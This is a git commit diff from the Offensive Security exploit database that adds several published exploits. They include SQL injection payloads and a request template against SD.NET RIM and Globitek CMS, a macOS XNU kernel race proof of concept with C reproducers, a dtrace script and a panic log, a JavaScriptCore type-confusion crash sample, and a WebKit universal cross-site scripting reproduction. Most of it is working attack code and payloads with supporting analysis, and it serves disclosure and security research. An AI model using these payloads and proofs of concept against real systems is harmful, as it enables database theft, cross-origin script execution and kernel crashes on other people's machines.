DB: 2019-11-06
12 changes to exploits/shellcodes FileOptimizer 14.00.2524 - Denial of Service (PoC) JavaScriptCore - Type Confusion During Bailout when Reconstructing Arguments Objects WebKit - Universal XSS in JSObject::putInlineSlow and JSValue::putToPrimitive macOS XNU - Missing Locking in checkdirs_callback() Enables Race with fchdir_common() Blue Stacks App Player 2.4.44.62.57 - _BstHdLogRotatorSvc_ Unquote Service Path Network Inventory Advisor 5.0.26.0 - 'niaservice' Unquoted Service Path thejshen Globitek CMS 1.4 - 'id' SQL Injection thrsrossi Millhouse-Project 1.414 - 'content' Persistent Cross-Site Scripting rimbalinux AhadPOS 1.11 - 'alamatCustomer' SQL Injection html5_snmp 1.11 - 'Remark' Persistent Cross-Site Scripting html5_snmp 1.11 - 'Router_ID' SQL Injection SD.NET RIM 4.7.3c - 'idtyp' SQL Injection
This commit is contained in:
Offensive Security
parent
577557762c
commit
52ab59aad8
13 changed files with 759 additions and 0 deletions
30
exploits/aspx/webapps/47589.txt
Normal file
30
exploits/aspx/webapps/47589.txt
Normal file
|
|
@ -0,0 +1,30 @@
|
|||
# Exploit Title: SD.NET RIM 4.7.3c - 'idtyp' SQL Injection
|
||||
# Date: 2019-11-05
|
||||
# Exploit Author: Fabian Mosch (r-tec IT Security GmbH)
|
||||
# Vendor Homepage: https://www.sitzungsdienst.net/
|
||||
# Software Link: https://www.sitzungsdienst.net/2018/12/sd-net-rim-4-7-3-veroeffentlicht/
|
||||
# Version: < 4.7.3c
|
||||
# Tested on: < 4.7.3c
|
||||
# CVE : N/A
|
||||
|
||||
# SD.NET RIM before version 4.7.3c is vulnerable to a SQL-Injection vulnerability. To Exploit the vulnerability
|
||||
# an attacker has to inject arbitrary SQL Statements in the following POST parameters:
|
||||
|
||||
POST /vorlagen/?__=SOMEBASE64 HTTP/1.1
|
||||
Host: VulnerableHost.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: de,en-US;q=0.7,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 182
|
||||
Origin: https://vulnerablehost.com
|
||||
Connection: close
|
||||
Referer: https://vulnerablehost.com/vorlagen/?__=BASE64
|
||||
Cookie: PHPSESSID250=SESSIONID
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
reqid=f48de4c24ae1b72dd37ebde6f6b40544&nummer=t&idtyp=-1’INJECTHERE&idgremium=-1’INJECTHERE&datefrom=TT.MM.JJJJ&dateto=TT.MM.JJJJ&csrftoken=CSRFToken
|
||||
|
||||
# The attacker is then redirected with a 302 redirect to an URL /templates/?__=NEWBASE64 as GET request.
|
||||
# By issuing the second request the arbitrary SQL-Statement gets executed.
|
||||
250
exploits/macos/dos/47592.txt
Normal file
250
exploits/macos/dos/47592.txt
Normal file
|
|
@ -0,0 +1,250 @@
|
|||
On macOS, when a new mount point is created, the kernel uses checkdirs() to, as
|
||||
a comment above the function explains: "Scan all active processes to see if any
|
||||
of them have a current or root directory onto which the new filesystem has just
|
||||
been mounted. If so, replace them with the new mount point."
|
||||
|
||||
In other words, XNU behaves as follows:
|
||||
|
||||
$ hdiutil attach ./mount_cwd.img -nomount
|
||||
/dev/disk2
|
||||
$ cd mnt
|
||||
$ ls -l
|
||||
total 0
|
||||
-rw-r--r-- 1 projectzero staff 0 Aug 6 18:05 underlying
|
||||
$ mount -t msdos -o nobrowse /dev/disk2 .
|
||||
$ ls -l
|
||||
total 0
|
||||
-rwxrwxrwx 1 projectzero staff 0 Aug 6 18:04 onfat
|
||||
$
|
||||
|
||||
(This is different from e.g. Linux, where the cwd would still point to the
|
||||
directory on the root filesystem that is now covered by the mountpoint, and the
|
||||
second "ls -l" would show the same output as the first one.)
|
||||
|
||||
|
||||
checkdirs() uses proc_iterate() to execute checkdirs_callback() on each running
|
||||
process. checkdirs_callback() is implemented as follows:
|
||||
|
||||
======================================================
|
||||
static int
|
||||
checkdirs_callback(proc_t p, void * arg)
|
||||
{
|
||||
struct cdirargs * cdrp = (struct cdirargs * )arg;
|
||||
vnode_t olddp = cdrp->olddp;
|
||||
vnode_t newdp = cdrp->newdp;
|
||||
struct filedesc *fdp;
|
||||
vnode_t tvp;
|
||||
vnode_t fdp_cvp;
|
||||
vnode_t fdp_rvp;
|
||||
int cdir_changed = 0;
|
||||
int rdir_changed = 0;
|
||||
|
||||
/*
|
||||
* XXX Also needs to iterate each thread in the process to see if it
|
||||
* XXX is using a per-thread current working directory, and, if so,
|
||||
* XXX update that as well.
|
||||
*/
|
||||
|
||||
proc_fdlock(p);
|
||||
fdp = p->p_fd;
|
||||
if (fdp == (struct filedesc *)0) {
|
||||
proc_fdunlock(p);
|
||||
return(PROC_RETURNED);
|
||||
}
|
||||
fdp_cvp = fdp->fd_cdir;
|
||||
fdp_rvp = fdp->fd_rdir;
|
||||
proc_fdunlock(p);
|
||||
|
||||
if (fdp_cvp == olddp) {
|
||||
vnode_ref(newdp);
|
||||
tvp = fdp->fd_cdir;
|
||||
fdp_cvp = newdp;
|
||||
cdir_changed = 1;
|
||||
vnode_rele(tvp);
|
||||
}
|
||||
if (fdp_rvp == olddp) {
|
||||
vnode_ref(newdp);
|
||||
tvp = fdp->fd_rdir;
|
||||
fdp_rvp = newdp;
|
||||
rdir_changed = 1;
|
||||
vnode_rele(tvp);
|
||||
}
|
||||
if (cdir_changed || rdir_changed) {
|
||||
proc_fdlock(p);
|
||||
fdp->fd_cdir = fdp_cvp;
|
||||
fdp->fd_rdir = fdp_rvp;
|
||||
proc_fdunlock(p);
|
||||
}
|
||||
return(PROC_RETURNED);
|
||||
}
|
||||
======================================================
|
||||
|
||||
`p->p_fd` contains the current working directory (`->fd_cdir`) and
|
||||
root directory (`->fd_rdir`) of the process; it is protected against
|
||||
modification by proc_fdlock()/proc_fdunlock(). Because checkdirs_callback()
|
||||
does not hold that lock across the entire operation, several races are possible;
|
||||
for example:
|
||||
|
||||
- If `fdp->fd_cdir == olddp` is true and `fdp->fd_cdir` changes between the
|
||||
read `tvp = fdp->fd_cdir;` and the second `proc_fdlock(p);`,
|
||||
`vnode_rele(tvp);` will release a nonexistent reference, leading to reference
|
||||
count underflow.
|
||||
- If `fdp->fd_cdir == olddp` is true and the process calls chroot() between the
|
||||
first locked region and the second locked region, a dangling pointer will be
|
||||
written back to `fdp->fd_rdir`.
|
||||
|
||||
|
||||
I have written a simple reproducer for the first scenario; however, since the
|
||||
race window is quite narrow, it uses dtrace to make the race easier to hit (so
|
||||
you have to turn off SIP).
|
||||
|
||||
|
||||
To prepare an empty FAT32 filesystem and the PoC:
|
||||
======================================================
|
||||
Projects-Mac-mini:mount_cwd projectzero$ base64 -D | gunzip > mount_cwd.img
|
||||
H4sIAI3cSV0CA+3TLUsEcRAH4PUQlBMPk2Dyj82yoNmgQZsv4bQIwsrt6XLn7nG75cDgR/BziEls
|
||||
ghiu3rewXTGa1C0GszafZwZm4NcGZrp1e9XrlnE3qaLG7EzUqGv+vRGFaDv6dhOtb40fxgeH4WBn
|
||||
fzfU9nbaG5v1bK0+n17fr71UCyePrae5aLJ0Nn3bfJ0sT1amH+3LrAx150UVknBeFFVy3k9DJyt7
|
||||
cQhH/TQp05DlZTr8kXf7xWAwCkneWWwOhmlZ1uso9NJRqIpQDevkIsnyEMdxWGxG/Mbx3fvnpzPA
|
||||
P+X/AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+EtfAgGlzAAA
|
||||
EAA=
|
||||
Projects-Mac-mini:mount_cwd projectzero$
|
||||
Projects-Mac-mini:mount_cwd projectzero$ cat > flipflop2.c
|
||||
#include <fcntl.h>
|
||||
#include <err.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void) {
|
||||
int outer_fd = open(".", O_RDONLY);
|
||||
if (outer_fd == -1) err(1, "open outer");
|
||||
int inner_fd = open("mnt", O_RDONLY);
|
||||
if (inner_fd == -1) err(1, "open inner");
|
||||
|
||||
while (1) {
|
||||
if (fchdir(inner_fd)) perror("chdir 1");
|
||||
if (fchdir(outer_fd)) perror("chdir 2");
|
||||
}
|
||||
}
|
||||
Projects-Mac-mini:mount_cwd projectzero$ cc -o flipflop2 flipflop2.c
|
||||
Projects-Mac-mini:mount_cwd projectzero$ cat > mountloop.c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <err.h>
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char mount_cmd[1000];
|
||||
sprintf(mount_cmd, "mount -t msdos -o nobrowse %s mnt", argv[1]);
|
||||
while (1) {
|
||||
if (system(mount_cmd) != 0)
|
||||
errx(1, "mount failed");
|
||||
umount:;
|
||||
if (system("umount mnt")) {
|
||||
puts("umount failed");
|
||||
goto umount;
|
||||
}
|
||||
}
|
||||
}
|
||||
Projects-Mac-mini:mount_cwd projectzero$ cc -o mountloop mountloop.c
|
||||
Projects-Mac-mini:mount_cwd projectzero$
|
||||
Projects-Mac-mini:mount_cwd projectzero$ cat > test.dtrace
|
||||
#!/usr/sbin/dtrace -w -s
|
||||
|
||||
__mac_mount:entry { mount_pending = 1; }
|
||||
__mac_mount:return { mount_pending = 0; }
|
||||
proc_iterate:entry { in_proc_iterate = 1; }
|
||||
proc_iterate:return { in_proc_iterate = 0; }
|
||||
|
||||
vnode_rele_internal:entry {
|
||||
if (mount_pending && in_proc_iterate) {
|
||||
chill(1000*1000*10);
|
||||
}
|
||||
}
|
||||
Projects-Mac-mini:mount_cwd projectzero$
|
||||
Projects-Mac-mini:mount_cwd projectzero$ chmod +x test.dtrace
|
||||
Projects-Mac-mini:mount_cwd projectzero$
|
||||
Projects-Mac-mini:mount_cwd projectzero$ mkdir mnt
|
||||
Projects-Mac-mini:mount_cwd projectzero$
|
||||
======================================================
|
||||
|
||||
In one terminal, launch the dtrace script as root:
|
||||
======================================================
|
||||
Projects-Mac-mini:mount_cwd projectzero$ sudo ./test.dtrace
|
||||
dtrace: script './test.dtrace' matched 10 probes
|
||||
dtrace: allowing destructive actions
|
||||
======================================================
|
||||
|
||||
In a second terminal, set up the loop device and launch the ./flipflop2 helper:
|
||||
======================================================
|
||||
Projects-Mac-mini:mount_cwd projectzero$ hdiutil attach ./mount_cwd.img -nomount
|
||||
/dev/disk2
|
||||
Projects-Mac-mini:mount_cwd projectzero$ ./flipflop2
|
||||
======================================================
|
||||
|
||||
In a third terminal, launch the ./mountloop helper:
|
||||
======================================================
|
||||
Projects-Mac-mini:mount_cwd projectzero$ ./mountloop /dev/disk2
|
||||
umount(/Users/projectzero/jannh/mount_cwd/clean/mount_cwd/mnt): Resource busy -- try 'diskutil unmount'
|
||||
umount failed
|
||||
umount(/Users/projectzero/jannh/mount_cwd/clean/mount_cwd/mnt): Resource busy -- try 'diskutil unmount'
|
||||
umount failed
|
||||
umount(/Users/projectzero/jannh/mount_cwd/clean/mount_cwd/mnt): Resource busy -- try 'diskutil unmount'
|
||||
umount failed
|
||||
[...]
|
||||
======================================================
|
||||
|
||||
(Don't mind the error spew from ./flipflop2 and ./mountloop, that's normal.)
|
||||
|
||||
Within a few minutes, the system should panic, with an error report like this:
|
||||
======================================================
|
||||
*** Panic Report ***
|
||||
panic(cpu 0 caller 0xffffff80055f89c5): "vnode_rele_ext: vp 0xffffff80276ee458 kusecount(4) out of balance with usecount(3). v_tag = 25, v_type = 2, v_flag = 84800."@/BuildRoot/Library/Caches/com.apple.xbs/Sources/xnu/xnu-4903.270.47/bsd/vfs/vfs_subr.c:1937
|
||||
Backtrace (CPU 0), Frame : Return Address
|
||||
0xffffff911412b9d0 : 0xffffff80053ad6ed mach_kernel : _handle_debugger_trap + 0x47d
|
||||
0xffffff911412ba20 : 0xffffff80054e9185 mach_kernel : _kdp_i386_trap + 0x155
|
||||
0xffffff911412ba60 : 0xffffff80054da8ba mach_kernel : _kernel_trap + 0x50a
|
||||
0xffffff911412bad0 : 0xffffff800535ab40 mach_kernel : _return_from_trap + 0xe0
|
||||
0xffffff911412baf0 : 0xffffff80053ad107 mach_kernel : _panic_trap_to_debugger + 0x197
|
||||
0xffffff911412bc10 : 0xffffff80053acf53 mach_kernel : _panic + 0x63
|
||||
0xffffff911412bc80 : 0xffffff80055f89c5 mach_kernel : _vnode_rele_internal + 0xf5
|
||||
0xffffff911412bcc0 : 0xffffff8005607f34 mach_kernel : _dounmount + 0x524
|
||||
0xffffff911412bd60 : 0xffffff8005607877 mach_kernel : _unmount + 0x197
|
||||
0xffffff911412bf40 : 0xffffff80059b92ad mach_kernel : _unix_syscall64 + 0x27d
|
||||
0xffffff911412bfa0 : 0xffffff800535b306 mach_kernel : _hndl_unix_scall64 + 0x16
|
||||
|
||||
BSD process name corresponding to current thread: umount
|
||||
Boot args: -zp -v keepsyms=1
|
||||
|
||||
Mac OS version:
|
||||
18G87
|
||||
|
||||
Kernel version:
|
||||
Darwin Kernel Version 18.7.0: Thu Jun 20 18:42:21 PDT 2019; root:xnu-4903.270.47~4/RELEASE_X86_64
|
||||
Kernel UUID: 982F17B3-0252-37FB-9869-88B3B1C77335
|
||||
Kernel slide: 0x0000000005000000
|
||||
Kernel text base: 0xffffff8005200000
|
||||
__HIB text base: 0xffffff8005100000
|
||||
System model name: Macmini7,1 (Mac-35C5E08120C7EEAF)
|
||||
|
||||
System uptime in nanoseconds: 390113393507
|
||||
last loaded kext at 197583647618: com.apple.filesystems.msdosfs 1.10 (addr 0xffffff7f89287000, size 69632)
|
||||
last unloaded kext at 61646619017: com.apple.driver.AppleIntelLpssGspi 3.0.60 (addr 0xffffff7f88208000, size 45056)
|
||||
[...]
|
||||
======================================================
|
||||
101
exploits/multiple/dos/47590.txt
Normal file
101
exploits/multiple/dos/47590.txt
Normal file
|
|
@ -0,0 +1,101 @@
|
|||
The following sample was found by Fuzzilli and then slightly modified. It crashes JSC in debug builds:
|
||||
|
||||
function main() {
|
||||
const v2 = [1337,1337];
|
||||
const v3 = [1337,v2,v2,0];
|
||||
Object.__proto__ = v3;
|
||||
for (let v10 = 0; v10 < 1000; v10++) {
|
||||
function v11(v12,v13) {
|
||||
const v15 = v10 + 127;
|
||||
const v16 = String();
|
||||
const v17 = String.fromCharCode(v10,v10,v15);
|
||||
const v19 = Object.shift();
|
||||
function v23() {
|
||||
let v28 = arguments;
|
||||
}
|
||||
const v29 = Object();
|
||||
const v30 = v23({},129);
|
||||
const v31 = [-903931.176976766,v17,,,-903931.176976766];
|
||||
const v32 = v31.join("");
|
||||
|
||||
try {
|
||||
const v34 = Function(v32);
|
||||
const v35 = v34();
|
||||
for (let v39 = 0; v39 < 127; v39++) {
|
||||
const v41 = isFinite();
|
||||
let v42 = isFinite;
|
||||
function v43(v44,v45,v46) {
|
||||
}
|
||||
const v47 = v41[4];
|
||||
const v48 = v47[64];
|
||||
const v49 = v35();
|
||||
const v50 = v43();
|
||||
const v51 = v34();
|
||||
}
|
||||
} catch(v52) {
|
||||
}
|
||||
|
||||
}
|
||||
const v53 = v11();
|
||||
}
|
||||
}
|
||||
noDFG(main);
|
||||
noFTL(main);
|
||||
main();
|
||||
|
||||
Crashes with:
|
||||
|
||||
ASSERTION FAILED: cell->inherits(*cell->JSC::JSCell::vm(), std::remove_pointer<T>::type::info())
|
||||
../../Source/JavaScriptCore/runtime/WriteBarrier.h(58) : void JSC::validateCell(T) [T = JSC::JSFunction *]
|
||||
1 0x108070cb9 WTFCrash
|
||||
2 0x103907f0b WTFCrashWithInfo(int, char const*, char const*, int)
|
||||
3 0x106c0900f void JSC::validateCell<JSC::JSFunction*>(JSC::JSFunction*)
|
||||
4 0x106c0275f JSC::WriteBarrierBase<JSC::JSFunction, WTF::DumbPtrTraits<JSC::JSFunction> >::set(JSC::VM&, JSC::JSCell const*, JSC::JSFunction*)
|
||||
5 0x10705a727 JSC::DirectArguments::setCallee(JSC::VM&, JSC::JSFunction*)
|
||||
6 0x107084753 operationCreateDirectArgumentsDuringExit
|
||||
7 0x4d8af2e06484
|
||||
8 0x4d8af2e034c3
|
||||
9 0x1078661b7 llint_entry
|
||||
10 0x107848f70 vmEntryToJavaScript
|
||||
11 0x107740047 JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*)
|
||||
12 0x10773f650 JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::ExecState*, JSC::JSObject*)
|
||||
13 0x107a9afc5 JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&)
|
||||
14 0x1039549a6 runWithOptions(GlobalObject*, CommandLine&, bool&)
|
||||
15 0x10392a10c jscmain(int, char**)::$_4::operator()(JSC::VM&, GlobalObject*, bool&) const
|
||||
16 0x103909aff int runJSC<jscmain(int, char**)::$_4>(CommandLine const&, bool, jscmain(int, char**)::$_4 const&)
|
||||
17 0x103908893 jscmain(int, char**)
|
||||
18 0x10390880e main
|
||||
19 0x7fff79ad63d5 start
|
||||
|
||||
The assertion indicates a type confusion. In particular, setCallee stores a JSCell into a WriteBarrier<JSFunction> which is not actually a JSFunction, triggering this assertion.
|
||||
|
||||
Below is my preliminary analysis of the bug.
|
||||
|
||||
When DFG compiles v11, it decides to inline v23 and the isFinite function. The relevant parts of the resulting DFG graph (with many omissions) follow:
|
||||
|
||||
# Inlined v23
|
||||
2 0: --> v23#EOpuso:<0x1078a43c0, bc#222, Call, closure call, numArgs+this = 3, numFixup = 0, stackOffset = -26 (loc0 maps to loc26)>
|
||||
38 2 0: 207:< 1:-> GetScope(Check:Untyped:@169, JS|PureInt, R:Stack(-23), bc#1, ExitValid)
|
||||
39 2 0: 208:<!0:-> MovHint(Check:Untyped:@207, MustGen, loc30, R:Stack(-23), W:SideState, ClobbersExit, bc#1, ExitValid)
|
||||
40 2 0: 209:< 1:-> SetLocal(Check:Untyped:@207, loc30(QC~/FlushedJSValue), R:Stack(-23), W:Stack(-31), bc#1, exit: bc#222 --> v23#EOpuso:<0x1078a43c0> (closure) bc#3, ExitValid) predicting None
|
||||
|
||||
44 2 0: 213:< 1:-> CreateDirectArguments(JS|PureInt, R:Stack,Stack(-23),HeapObjectCount, W:HeapObjectCount, Exits, ClobbersExit, bc#7, ExitValid)
|
||||
45 2 0: 214:<!0:-> MovHint(Check:Untyped:@213, MustGen, loc32, R:Stack(-23), W:SideState, ClobbersExit, bc#7, ExitInvalid)
|
||||
46 2 0: 215:< 1:-> SetLocal(Check:Untyped:@213, loc32(SC~/FlushedJSValue), R:Stack(-23), W:Stack(-33), bc#7, exit: bc#222 --> v23#EOpuso:<0x1078a43c0> (closure) bc#9, ExitValid) predicting None
|
||||
2 0: <-- v23#EOpuso:<0x1078a43c0, bc#222, Call, closure call, numArgs+this = 3, numFixup = 0, stackOffset = -26 (loc0 maps to loc26)>
|
||||
|
||||
4 0: Block #4 (bc#317): (OSR target)
|
||||
24 4 0: 322:< 1:-> JSConstant(JS|PureInt, Weak:Object: 0x1078e4000 with butterfly 0x18052e8408 (Structure %C0:global), StructureID: 40546, bc#347, ExitValid)
|
||||
27 4 0: 325:< 1:-> SetLocal(Check:Untyped:@322, loc30(DE~/FlushedJSValue), W:Stack(-31), bc#347, exit: bc#354, ExitValid) predicting None
|
||||
|
||||
# Inlined isFinite()
|
||||
4 0: --> isFinite#DJEgRe:<0x1078a4640 (StrictMode), bc#362, Call, known callee: Object: 0x1078cfd50 with butterfly 0x0 (Structure %Cm:Function), StructureID: 63290, numArgs+this = 1, numFixup = 1, stackOffset = -38 (loc0 maps to loc38)>
|
||||
37 4 0: 335:< 1:-> JSConstant(JS|PureInt, Undefined, bc#0, ExitValid)
|
||||
38 4 0: 336:<!0:-> MovHint(Check:Untyped:@322, MustGen, loc32, W:SideState, ClobbersExit, bc#0, ExitValid)
|
||||
41 4 0: 339:< 1:-> SetLocal(Check:Untyped:@322, loc32(FE~/FlushedJSValue), W:Stack(-33), bc#0, ExitValid) predicting None
|
||||
|
||||
Note that some bytecode registers (locX) are reused to hold different values in this code.
|
||||
|
||||
The DFGPhantomInsertionPhase is responsible for identifying bytecode registers (locX) that have to be recovered during a bailout and placing Phantom nodes into the IR to ensure the required DFG values are alive so the bytecode registers can be restored from them. When the DFGPhantomInsertionPhase phase runs on this code and wants to determine the values needed for a bailout somewhere at the start of the try block, it decides that loc32 would have to be restored as it is assigned above but still used further down (in the inlined code of isFinite). As such, it inserts a Phantom node. When the bailout then actually happens (presumably because the `new Function()` fails), loc32 is attempted to be restored (by then, CreateDirectArguments has been replaced by a PhantomCreateDirectArguments which doesn't actually create the arguments object unless a bailout happens), resulting in a call to operationCreateDirectArgumentsDuringExit. This call requires the value of `callee` as argument. As such, the callee value is reconstructed as well. In the inlined callframe, the callee value is expected to be stored in loc30 (I think). However, by the time the bailout happens, loc30 has been reused, in this case by storing the global object into it. As such, the code that recovers the values (incorrectly) restores the callee value to the global object and passes it to operationCreateDirectArgumentsDuringExit. When this reference is then stored into a WriteBarrier<JSFunction> during a call to setCallee, an assertion is raised in debug builds. It is not clear to me at which point a different decision should have been made here.
|
||||
|
||||
Unfortunately, it is quite tedious to manually modify this sample as most changes to it will quickly break the specific bytecode register allocation outcome required to trigger the bug. I could imagine this bug to be exploitable if the invalid callee value is somehow subsequently accessed by code, e.g. user supplied code, the GC, or other parts of the engine that inspect bytecode registers, and assumed to be a JSFunction*. However, I have not verified that this is possible.
|
||||
105
exploits/multiple/dos/47591.txt
Normal file
105
exploits/multiple/dos/47591.txt
Normal file
|
|
@ -0,0 +1,105 @@
|
|||
VULNERABILITY DETAILS
|
||||
```
|
||||
bool JSObject::putInlineSlow(ExecState* exec, PropertyName propertyName, JSValue value, PutPropertySlot& slot)
|
||||
{
|
||||
ASSERT(!isThisValueAltered(slot, this));
|
||||
|
||||
VM& vm = exec->vm();
|
||||
auto scope = DECLARE_THROW_SCOPE(vm);
|
||||
|
||||
JSObject* obj = this;
|
||||
for (;;) {
|
||||
unsigned attributes;
|
||||
PropertyOffset offset = obj->structure(vm)->get(vm, propertyName, attributes); // ***1***
|
||||
if (isValidOffset(offset)) {
|
||||
if (attributes & PropertyAttribute::ReadOnly) {
|
||||
ASSERT(this->prototypeChainMayInterceptStoreTo(vm, propertyName) || obj == this);
|
||||
return typeError(exec, scope, slot.isStrictMode(), ReadonlyPropertyWriteError);
|
||||
}
|
||||
|
||||
JSValue gs = obj->getDirect(offset);
|
||||
if (gs.isGetterSetter()) {
|
||||
// We need to make sure that we decide to cache this property before we potentially execute aribitrary JS.
|
||||
if (!structure(vm)->isDictionary())
|
||||
slot.setCacheableSetter(obj, offset);
|
||||
|
||||
bool result = callSetter(exec, slot.thisValue(), gs, value, slot.isStrictMode() ? StrictMode : NotStrictMode); // ***2***
|
||||
RETURN_IF_EXCEPTION(scope, false);
|
||||
return result;
|
||||
}
|
||||
if (gs.isCustomGetterSetter()) {
|
||||
// We need to make sure that we decide to cache this property before we potentially execute aribitrary JS.
|
||||
if (attributes & PropertyAttribute::CustomAccessor)
|
||||
slot.setCustomAccessor(obj, jsCast<CustomGetterSetter*>(gs.asCell())->setter());
|
||||
else
|
||||
slot.setCustomValue(obj, jsCast<CustomGetterSetter*>(gs.asCell())->setter());
|
||||
|
||||
bool result = callCustomSetter(exec, gs, attributes & PropertyAttribute::CustomAccessor, obj, slot.thisValue(), value);
|
||||
RETURN_IF_EXCEPTION(scope, false);
|
||||
return result;
|
||||
}
|
||||
ASSERT(!(attributes & PropertyAttribute::Accessor));
|
||||
|
||||
// If there's an existing property on the object or one of its
|
||||
// prototypes it should be replaced, so break here.
|
||||
break;
|
||||
}
|
||||
[...]
|
||||
JSValue prototype = obj->getPrototype(vm, exec);
|
||||
RETURN_IF_EXCEPTION(scope, false);
|
||||
if (prototype.isNull())
|
||||
break;
|
||||
obj = asObject(prototype);
|
||||
}
|
||||
```
|
||||
|
||||
This is an extension of https://bugs.chromium.org/p/project-zero/issues/detail?id=1240.
|
||||
`putInlineSlow` and `putToPrimitive` now call the access-checked `getPrototype` method instead of
|
||||
`getPrototypeDirect`. However, they still use `Structure::get` directly[1], which bypasses access
|
||||
checks implemented in functions that override `JSObject::put`. Thus, an attacker can put a
|
||||
cross-origin object into the prototype chain of a regular object and trigger the invocation of a
|
||||
cross-origin setter. If the setter raises an exception while processing the passed value, it's
|
||||
possible to leak the exception object and gain access to, e.g., another window's function
|
||||
constructor.
|
||||
|
||||
Since this issue is only exploitable when a victim page defines a custom accessor property on the
|
||||
`location` object, its practical impact is minimal.
|
||||
|
||||
|
||||
VERSION
|
||||
WebKit revision 247430
|
||||
Safari version 12.1.1 (14607.2.6.1.1)
|
||||
|
||||
|
||||
REPRODUCTION CASE
|
||||
<body>
|
||||
<script>
|
||||
frame = document.body.appendChild(document.createElement('iframe'));
|
||||
frame.src = `data:text/html,
|
||||
<h1>secret data</h1>
|
||||
<script>
|
||||
location.__defineSetter__('foo', function(value) {
|
||||
alert('Received value: ' + value);
|
||||
});
|
||||
</s` + `cript>`;
|
||||
|
||||
function turnLeakedExceptionIntoUXSS(object) {
|
||||
try {
|
||||
object.foo = {toString: function() { return {} } };
|
||||
} catch (e) {
|
||||
let func = e.constructor.constructor;
|
||||
func('alert(document.body.innerHTML)')();
|
||||
}
|
||||
}
|
||||
|
||||
frame.onload = () => {
|
||||
// putInlineSlow
|
||||
turnLeakedExceptionIntoUXSS({__proto__: frame.contentWindow.location});
|
||||
|
||||
// putToPrimitive
|
||||
num = 1337;
|
||||
num.__proto__.__proto__ = frame.contentWindow.location;
|
||||
turnLeakedExceptionIntoUXSS(num);
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
29
exploits/php/webapps/47581.txt
Normal file
29
exploits/php/webapps/47581.txt
Normal file
|
|
@ -0,0 +1,29 @@
|
|||
# Exploit Title: thejshen Globitek CMS 1.4 - 'id' SQL Injection
|
||||
# Date: 2019-11-01
|
||||
# Exploit Author: Cakes
|
||||
# Vendor Homepage: https://github.com/thejshen/contentManagementSystem
|
||||
# Software Link: https://github.com/thejshen/contentManagementSystem.git
|
||||
# Version: 1.4
|
||||
# Tested on: CentOS 7
|
||||
# CVE: N/A
|
||||
|
||||
# The GET request for content ID is vulnerable to Union, Bolean and Time-Based Blind SQL injection
|
||||
|
||||
# Parameter: id (GET)
|
||||
# Type: boolean-based blind
|
||||
# Title: AND boolean-based blind - WHERE or HAVING clause
|
||||
# Vector: AND [INFERENCE]
|
||||
|
||||
Payload: id=4' AND 5143=5143-- OWXt
|
||||
|
||||
# Type: time-based blind
|
||||
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
||||
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
|
||||
|
||||
Payload: id=4' AND (SELECT 4841 FROM (SELECT(SLEEP(5)))eqmp)-- ZwTG
|
||||
|
||||
